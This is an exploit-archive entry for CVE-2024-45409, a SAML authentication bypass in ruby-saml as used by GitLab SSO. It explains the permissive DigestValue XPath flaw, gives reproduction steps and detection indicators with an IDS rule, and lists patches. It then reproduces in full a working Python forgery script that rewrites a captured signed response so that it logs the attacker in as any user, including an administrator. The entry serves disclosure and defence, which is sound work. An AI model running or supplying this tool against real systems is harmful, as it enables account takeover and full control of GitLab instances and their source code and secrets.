PoC Archive PoC Archive
CVE-2024-45409 category: web CVSS 10 (CRITICAL)
Patched

Ruby-SAML / GitLab SAML Authentication Bypass (CVE-2024-45409)

Published: 2026-11-27 • Researcher: Alexis Danizan (GitHub: 0x4144), Synacktiv; independent analysis by Harsh Jaiswal and Rahul Maini (ProjectDiscovery); advisory by the ruby-saml maintainers

Target software ruby-saml (OneLogin Ruby SAML) and omniauth-saml, as used by GitLab CE/EE SAML SSO
Affected versions ruby-saml 1.13.0 through 1.16.0 and releases up to 1.12.2; fixed in 1.17.0 and 1.12.3. GitLab CE/EE below 16.11.10, 17.0.0 to 17.0.7, 17.1.0 to 17.1.7, 17.2.0 to 17.2.6 and 17.3.0 to 17.3.2 (fixed in 16.11.10, 17.0.8, 17.1.8, 17.2.7 and 17.3.3)
Status Weaponized (complete forgery tool; the upstream README documents a successful GitLab login with the patched response)
Severity Critical · CVSS 10
CVSS 10.0/10
Severity
Critical
CVE
CVE-2024-45409
Category
web
Affected product
ruby-saml (OneLogin Ruby SAML) and omniauth-saml, as used by GitLab CE/EE SAML SSO
Affected versions
ruby-saml 1.13.0 through 1.16.0 and releases up to 1.12.2; fixed in 1.17.0 and 1.12.3. GitLab CE/EE below 16.11.10, 17.0.0 to 17.0.7, 17.1.0 to 17.1.7, 17.2.0 to 17.2.6 and 17.3.0 to 17.3.2 (fixed in 16.11.10, 17.0.8, 17.1.8, 17.2.7 and 17.3.3)
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2024-10-07 (upstream commit f91fb1fc3b416b1a59c517876ac470c850cd8c95, “Update README.md”)
Author / ResearcherAlexis Danizan (GitHub: 0x4144), Synacktiv; independent analysis by Harsh Jaiswal and Rahul Maini (ProjectDiscovery); advisory by the ruby-saml maintainers
CVE / AdvisoryCVE-2024-45409
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv3.1, NVD); EPSS 0.091
StatusWeaponized (complete forgery tool; the upstream README documents a successful GitLab login with the patched response)
TagsSAML, XML signature wrapping, authentication bypass, GitLab, ruby-saml, omniauth-saml, XPath injection, CWE-347, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / Systemruby-saml (OneLogin Ruby SAML) and omniauth-saml, as used by GitLab CE/EE SAML SSO
Versions Affectedruby-saml 1.13.0 through 1.16.0 and releases up to 1.12.2; fixed in 1.17.0 and 1.12.3. GitLab CE/EE below 16.11.10, 17.0.0 to 17.0.7, 17.1.0 to 17.1.7, 17.2.0 to 17.2.6 and 17.3.0 to 17.3.2 (fixed in 16.11.10, 17.0.8, 17.1.8, 17.2.7 and 17.3.3)
Language / PlatformPython 3 forging script using lxml; target is a Ruby on Rails application (GitLab) with SAML SSO
Authentication RequiredNo — the attacker is unauthenticated, but must possess any SAML Response signed by the target IdP (for example one issued for the attacker’s own account)
Network Access RequiredYes — HTTPS access to the GitLab SAML callback endpoint

Summary

Ruby-SAML validates a SAML signature by recomputing a digest over the signed element and comparing it with a DigestValue that it locates with a permissive document-wide XPath expression. An attacker who holds any correctly signed SAML Response can smuggle a second DigestValue inside an extension container such as samlp:StatusDetail, rewrite the assertion so it names a different user, and have the library compare the recomputed digest against the attacker’s value while the IdP signature over the untouched SignedInfo still verifies. The archived script automates the XML surgery and emits a URL-encoded SAMLResponse that GitLab accepts, logging the attacker in as an arbitrary account including an administrator.

Vulnerability Details

Root Cause

After computing the hash of the canonicalized signed element, ruby-saml reads the expected digest with REXML::XPath.first(reference, “//ds:DigestValue”). The leading double-slash makes the selector search the whole document instead of the Reference child inside SignedInfo, so the first ds:DigestValue in document order wins. SAML permits extension containers such as samlp:Extensions and samlp:StatusDetail, and their contents are attacker-controlled. By placing a DigestValue that matches a rewritten assertion in one of those containers, the attacker supplies the value that the digest comparison uses, while SignedInfo and therefore the IdP signature remain untouched and valid. The same permissive XPath style is used to resolve the Reference target, which is what makes the accompanying signature-wrapping step possible: the IdP signature block is moved into the forged assertion and a duplicate reference is injected alongside it. The ruby-saml fix (commit 4865d030) switches to relative XPaths and rejects references that resolve to more than one node.

Attack Vector

An attacker captures a SAMLResponse issued by the target IdP (the Base64 value posted to /users/auth/saml/callback when any user signs in through SAML), modifies the NameID and conditions with the script, and reposts the result to the same callback endpoint. The response must be a valid, still-fresh IdP assertion and the Service Provider must accept its Destination, Audience and InResponseTo values, so the practical starting point is the attacker’s own SAML login captured in a proxy.

Impact

Authentication bypass: the attacker becomes any user in GitLab, including an administrator, without knowing that user’s password or having access to their IdP account. On an administrator account this yields full control of the GitLab instance — source code, CI/CD variables and runners, project and group settings, and the ability to create persistent access tokens. Because the flaw is in the signature check rather than in a specific GitLab feature, any application embedding the affected ruby-saml or omniauth-saml gem inherits the same bypass.

Environment / Lab Setup

Output
OS:          Linux host running a browser and Python 3
Target:      GitLab CE/EE in a vulnerable range with SAML SSO configured
             (for example 17.3.2), served over HTTPS
IdP:         Any SAML IdP (Keycloak, SimpleSAMLphp, Authentik, Azure AD)
             with at least one test account that can sign in to GitLab
Attacker:    The same host, capturing traffic with browser devtools or a proxy
Tools:       Python 3.11+ with lxml, a browser, mitmproxy or Burp Suite

Setup Steps

Shell script
1
2
python3 -m venv .venv && . .venv/bin/activate
pip install lxml

The IdP, the GitLab deployment and the captured signed response are external preconditions; the script does not create any of them.

Proof of Concept

Step-by-Step Reproduction

  1. Capture a signed SAML response — sign in to the target as a low-privileged SAML user and intercept the callback POST; copy the SAMLResponse value into a file.

    HTTP request
    1
    2
    3
    4
    5
    
    POST /users/auth/saml/callback HTTP/1.1
    Host: gitlab.test.local
    Content-Type: application/x-www-form-urlencoded
    
    SAMLResponse=PHNhbWxwOlJlc3BvbnNl...
  2. Forge the response — decode the input, rewrite the NameID and validity windows, move the signature, inject the malicious reference and digest, then encode the output.

    Shell script
    1
    
    python3 CVE-2024-45409.py -r response.url_base64 -n admin@test.local -d -e -o response_patched.url_base64
  3. Replay it — replace the SAMLResponse parameter with the generated value and submit the callback request with the original RelayState.

  4. Check the session — a successful bypass answers with a 302 to the GitLab homepage and the browser is authenticated as the forged user.

Exploit Code

See CVE-2024-45409.py in this folder for the complete implementation.

Shell script
1
python3 CVE-2024-45409.py -r response.url_base64 -n admin@test.local -d -e -o response_patched.url_base64

The core of the forgery is the smuggled reference and its digest:

Python
1
2
3
4
5
6
reference = copy(response_document.find(".//ds:Reference", namespaces=NAMESPACES))
reference.attrib["URI"] = "#" + self.reference_id          # same target as the signed reference
status_detail = etree.Element("{urn:oasis:names:tc:SAML:2.0:protocol}StatusDetail")
status_detail.insert(0, reference)                          # attacker-controlled DigestValue location
status.insert(status.index(status_code) + 1, status_detail)
digest_value.text = b64encode(sha256(new_element_canonical).digest()).decode()

Expected Output

Output
[+] Parse response
	Digest algorithm: sha256
	Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64

and on replay:

Output
HTTP/1.1 302 Found
Location: http://gitlab.test.local/

Detection & Indicators of Compromise

Output
ds:DigestValue appearing outside ds:SignedInfo (inside samlp:StatusDetail or samlp:Extensions)
More than one ds:Reference, or a ds:Signature nested inside saml:Assertion after transport
Assertion ID equal to the Reference URI but a different Response ID than the one the IdP issued
saml:NameID that does not match the Subject of the IdP's own audit record for that assertion
Condition timestamps (NotOnOrAfter) that differ from the IdP-issued assertion

Successful GitLab SAML login with no matching authentication event at the IdP
SAML logins for administrator accounts from new source addresses or user agents
Repeated callback submissions carrying the same response ID

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2024-45409 SAML response with smuggled DigestValue"; flow:to_server,established; content:"/users/auth/saml/callback"; http_uri; content:"StatusDetail"; http_client_body; content:"DigestValue"; http_client_body; reference:cve,2024-45409; sid:9024409; rev:1;)

Remediation

ActionDetail
PatchUpgrade ruby-saml to 1.17.0 or 1.12.3 and omniauth-saml to a release built on it; upgrade GitLab to 16.11.10, 17.0.8, 17.1.8, 17.2.7 or 17.3.3 (or later).
WorkaroundIf patching is delayed, restrict the SAML callback to expected IdPs and networks, and monitor for extension containers or duplicate references in SAMLResponse payloads at the reverse proxy.
Config HardeningEnforce SAML response signing at the IdP, pin the IdP certificate, reject responses whose Destination or Audience do not match the instance, keep assertion lifetimes short, and require MFA at the IdP for administrator accounts. After a suspected bypass, review administrator audit events and revoke sessions and personal access tokens.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/synacktiv/CVE-2024-45409 (stars 86, single Python script).

Review verdict: ingested. This is a genuine exploit: it parses a real signed SAML response, performs the XML signature-wrapping and digest-smuggling steps, and produces a complete response that the upstream author reports as accepted by vulnerable GitLab. It is not a detector, a version checker or a placeholder, and it contains no C2, persistence, evasion, credential-theft or mining components. Only the exploit script and the upstream README are copied.

License: the repository has no LICENSE file, so copyright remains with Synacktiv and no reuse rights are granted. The archived script keeps the original code and adds only a two-line research-use header; the upstream README is copied verbatim as upstream-README.md.

Limitations: the tool needs a valid, unexpired SAML response signed by the target IdP — the attacker’s own login is enough — and it does not obtain one itself. It supports only exclusive XML canonicalization and the sha1/sha256 digest algorithms, raising ValueError on anything else, and it assumes the second Transform in SignedInfo is the exclusive c14n entry (index 1). It requires Python 3.11 or later because it imports UTC from datetime, and it requires lxml. The script does not forge the signature; it relies on the IdP signature over the untouched SignedInfo, so a Service Provider that enforces InResponseTo state or assertion audience checks strictly may reject the replay. No exploit was executed during preparation of this entry; the status Weaponized reflects the complete implementation and the successful run documented upstream, not an independent reproduction here.

CVE-2024-45409.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
# Archived for authorized security research only.
# Source: https://github.com/synacktiv/CVE-2024-45409 (see README for attribution/license)
from argparse import ArgumentParser
from base64 import b64decode, b64encode
from copy import copy
from datetime import datetime, timedelta, UTC
from hashlib import sha1, sha256
from urllib.parse import quote, unquote
from uuid import uuid4
from sys import stderr
from lxml import etree

NAMESPACES = {
    "ds": "http://www.w3.org/2000/09/xmldsig#",
    "saml": "urn:oasis:names:tc:SAML:2.0:assertion",
    "samlp": "urn:oasis:names:tc:SAML:2.0:protocol",
}


class CVE_2024_45409:
    def __init__(
        self,
        response_file: str,
        output_file_path: str,
        decode_input: bool,
        encode_output: bool,
        name_id: str,
        id_prefix: str,
    ) -> None:
        self._name_id = name_id
        self._id_prefix = id_prefix
        self._encode_output = encode_output
        self._output_file_path = output_file_path
        self._decode_input = decode_input
        self._response_file = response_file
        self._raw_response: bytes | None = None
        self._response_document: etree.Element | None = None
        self._signature: etree.Element | None = None
        self._original_assertion: etree.Element | None = None
        self.reference_id: str

        self._canonicalization_method: str | None = None
        self._digest_algorithm: str | None = None

    def exploit(self) -> None:
        print("[+] Parse response",file=stderr)
        self._parse()
        self._move_signature_in_assertion()
        print("[+] Patch response ID",file=stderr)
        self._response_document.attrib["ID"] = self._generate_unique_id()
        print("[+] Insert malicious reference",file=stderr)
        self._insert_malicious_reference()
        print(f"[+] Write patched file in {self._output_file_path}",file=stderr)
        self._write_output()

    def _write_output(self) -> None:
        data = etree.tostring(self._response_document)
        if self._output_file_path == "-":
            if self._encode_output:
                print(self.encode_response(data))
            else:
                print(data.decode('utf-8'))            
            return
        with open(self._output_file_path, "w") as outfile:
            data = self.encode_response(data) if self._encode_output else data.decode("utf-8")
            outfile.write(data)

    def _parse(self) -> None:
        with open(self._response_file) as infile:
            self._raw_response = (
                self.decode_response(infile.read()) if self._decode_input else infile.read().encode("utf-8")
            )
        self._response_document = etree.fromstring(self._raw_response)

        self._signature = self._response_document.find(".//ds:Signature", namespaces=NAMESPACES)
        self._canonicalization_method = self._signature.xpath(
            "//ds:Reference/ds:Transforms/ds:Transform/@Algorithm",
            namespaces=NAMESPACES,
        )[1]
        self._digest_algorithm = self._signature.xpath(
            "//ds:Reference/ds:DigestMethod/@Algorithm",
            namespaces=NAMESPACES,
        )[0]
        self._digest_algorithm = self._digest_algorithm[self._digest_algorithm.index("#") + 1 :]
        print(f"\tDigest algorithm: {self._digest_algorithm}",file=stderr)
        print(f"\tCanonicalization Method: {self._canonicalization_method}",file=stderr)

    def _move_signature_in_assertion(self) -> None:
        print("[+] Remove signature from response",file=stderr)
        self._signature.getparent().remove(self._signature)
        reference = self._signature.find(".//ds:Reference", namespaces=NAMESPACES)
        self.reference_id = reference.attrib["URI"].lstrip("#")

        print("[+] Patch assertion ID",file=stderr)
        assertion_element = self._response_document.find(".//saml:Assertion", namespaces=NAMESPACES)
        assertion_element.attrib["ID"] = self.reference_id

        print("[+] Patch assertion NameID",file=stderr)
        name_id_element = assertion_element.find(".//saml:NameID", namespaces=NAMESPACES)
        name_id_element.text = self._name_id

        print("[+] Patch assertion conditions",file=stderr)
        subject_confirm_data = self._response_document.find(".//saml:SubjectConfirmationData", namespaces=NAMESPACES)
        subject_confirm_data.attrib["NotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")

        conditions = self._response_document.find(".//saml:Conditions", namespaces=NAMESPACES)
        conditions.attrib["NotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")

        authn_statement = self._response_document.find(".//saml:AuthnStatement", namespaces=NAMESPACES)
        authn_statement.attrib["SessionNotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")

        self._original_assertion = copy(assertion_element)

        print("[+] Move signature in assertion",file=stderr)
        assertion_issuer = assertion_element.find(".//saml:Issuer", namespaces=NAMESPACES)
        assertion_element.insert(assertion_element.index(assertion_issuer) + 1, self._signature)

    def _insert_malicious_reference(self) -> None:
        status = self._response_document.find(".//samlp:Status", namespaces=NAMESPACES)
        status_code = status.find(".//samlp:StatusCode", namespaces=NAMESPACES)

        print("[+] Clone signature reference",file=stderr)
        reference = copy(self._response_document.find(".//ds:Reference", namespaces=NAMESPACES))
        reference.attrib["URI"] = "#" + self.reference_id

        nsmap = {"samlp": "urn:oasis:names:tc:SAML:2.0:protocol", "dsig": "http://www.w3.org/2000/09/xmldsig#"}
        print("[+] Create status detail element",file=stderr)
        status_detail_element = etree.Element("{urn:oasis:names:tc:SAML:2.0:protocol}StatusDetail", nsmap=nsmap)
        status_detail_element.insert(0, reference)

        status.insert(status.index(status_code) + 1, status_detail_element)

        new_element = etree.Element(
            self._original_assertion.tag,
            nsmap={
                "saml": "urn:oasis:names:tc:SAML:2.0:assertion",
            },
        )

        for attrib, value in self._original_assertion.attrib.items():
            new_element.set(attrib, value)
        for child in self._original_assertion:
            new_element.append(child)
        new_element.text = self._original_assertion.text

        if self._canonicalization_method == "http://www.w3.org/2001/10/xml-exc-c14n#":
            method = "c14n"
        else:
            raise ValueError("Canonicalization method unknown")

        new_element_canonical = etree.tostring(new_element, method=method, exclusive=True, with_comments=False)

        if self._digest_algorithm == "sha256":
            digest = sha256(new_element_canonical).digest()
        elif self._digest_algorithm == "sha1":
            digest = sha1(new_element_canonical).digest()
        else:
            raise ValueError("Digest algorithm unknown")

        print("[+] Patch digest value",file=stderr)
        digest_value = reference.find(".//ds:DigestValue", namespaces=NAMESPACES)
        digest_value.text = b64encode(digest).decode("utf-8")

    def _generate_unique_id(self) -> str:
        return f"{self._id_prefix}{uuid4()}"

    @staticmethod
    def decode_response(data: str) -> bytes:
        return b64decode(unquote(data))

    @staticmethod
    def encode_response(data: bytes) -> str:
        return quote(b64encode(data))

    def __str__(self) -> str:
        return etree.tostring(self._response_document, pretty_print=True).decode("utf-8")


if __name__ == "__main__":
    parser = ArgumentParser(
        description="CVE-2024-45409 exploit",
    )
    parser.add_argument(
        "-r",
        "--response-file",
        type=str,
        required=True,
        help="Raw or URL + Base64 encoded XML SAMLResponse content file path",
        default="response.xml",
    )
    parser.add_argument(
        "-o",
        "--output-file",
        type=str,
        help="Patched SAMLResponse output file path, use - for stdout",
        default="response_patched.xml",
    )
    parser.add_argument("-n", "--nameid", type=str, required=True, help="Target NameID")
    parser.add_argument("-d", "--decode", action="store_true", help="Decode URL + Base64 encoded response file")
    parser.add_argument("-e", "--encode", action="store_true", help="Encode Base64 + URL output")
    parser.add_argument("-p", "--prefix", type=str, help="ID prefix", default="ID-")
    args = parser.parse_args()

    CVE_2024_45409(
        response_file=args.response_file,
        output_file_path=args.output_file,
        decode_input=args.decode,
        encode_output=args.encode,
        name_id=args.nameid,
        id_prefix=args.prefix,
    ).exploit()